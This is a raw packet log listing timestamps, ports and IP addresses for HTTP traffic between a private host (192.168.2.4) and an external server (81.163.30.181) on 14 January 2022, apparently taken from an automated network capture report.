Jan 14, 2022 20:30:21.625817060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625838995 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625860929 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625874043 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625895977 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625910997 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625916958 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625940084 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625956059 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.625962973 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625984907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.625997066 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626005888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626025915 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626039028 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626049042 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626070023 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626082897 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626091003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626111984 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626127005 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626131058 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626151085 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626166105 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626171112 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626193047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626205921 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626214027 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626235008 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626246929 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626252890 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626271009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626288891 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626292944 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626313925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626327991 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626334906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626353979 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626368046 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626372099 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626394033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626406908 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626416922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626439095 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626452923 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626460075 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626481056 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626494884 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626502037 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626521111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626537085 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626542091 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626562119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626574039 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.626580954 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626602888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.626614094 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.672367096 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.679811954 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679833889 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679850101 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679864883 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679882050 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679896116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679912090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679913044 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.679922104 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.679928064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679932117 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.679944038 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679960012 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679975033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.679980993 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.679990053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680005074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680011034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.680018902 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680032015 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.680033922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680048943 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680057049 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.680063963 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680078983 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680090904 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.680104971 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680114985 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.680120945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.680161953 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684266090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684289932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684314966 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684338093 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684355974 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684361935 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684370995 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684384108 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684403896 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684422016 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684425116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684448004 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684469938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684484005 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684493065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684506893 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684514999 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684535027 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684547901 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684556961 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684578896 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684592009 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684600115 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684622049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684631109 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684643030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684665918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684678078 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684686899 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684710979 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684719086 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684732914 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684755087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684777021 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684781075 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684797049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684807062 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684818029 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684835911 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684854031 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684863091 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684870958 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684890032 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684894085 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684907913 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684923887 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684925079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684942961 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684962034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.684962034 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684979916 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.684998989 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685002089 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685022116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685038090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685041904 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685060978 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685071945 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685079098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685108900 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685113907 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685127974 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685148954 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685159922 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685168028 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685187101 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685198069 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685204983 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685225964 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685235977 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685246944 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685265064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685276031 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685282946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685301065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685313940 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685319901 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685339928 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685349941 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685358047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685376883 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685389996 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685395956 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685415030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685425997 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685434103 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685451984 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685470104 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685470104 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685489893 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685503960 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685507059 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685525894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685537100 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685543060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685563087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685575962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685583115 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685600996 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685616016 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685621023 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685641050 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685661077 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685661077 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685679913 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685695887 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685697079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685718060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685731888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685736895 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685755968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685769081 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685775995 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685796976 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685805082 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685813904 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685817003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685837984 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685869932 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685870886 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685890913 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685904026 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685910940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685930967 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685950041 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685950994 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685971975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.685982943 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.685992002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686012030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686023951 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686033964 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686053038 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686070919 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686090946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686114073 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686119080 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686137915 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686137915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686155081 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686157942 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686176062 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686191082 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686196089 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686216116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686233997 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686239004 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686254025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686268091 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686274052 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686294079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686302900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686311960 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686328888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.686343908 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.686386108 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.687150002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.687191010 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.732367039 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.732402086 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.732470036 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738696098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738732100 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738754988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738774061 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738806009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738814116 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738827944 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738850117 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738854885 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738873005 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738894939 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738895893 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738917112 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738918066 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738940954 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738964081 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.738965034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.738986969 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739003897 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739008904 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739031076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739042997 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739053011 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739073992 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739089966 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739101887 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739125967 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739134073 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739145994 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739167929 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739178896 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739188910 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739211082 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739223003 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739231110 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739253044 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739263058 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739273071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739295006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739309072 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739315033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739336967 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739350080 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739357948 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739377975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739392042 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739398956 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739419937 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739434004 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739439964 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739463091 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739480019 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739484072 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739506006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739526987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739531040 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.739547968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.739563942 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.741163969 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.741214037 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.743999004 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.744023085 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.744045019 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.744067907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.744077921 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.744105101 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745568037 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745593071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745615959 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745637894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745651007 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745659113 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745682955 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745683908 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745706081 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745724916 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745728016 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745748997 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745764971 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745769978 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745791912 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745810986 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745812893 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745839119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745857954 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745876074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745899916 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745915890 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.745922089 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745944977 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.745956898 CET	49928	80	192.168.2.4	81.163.30.181
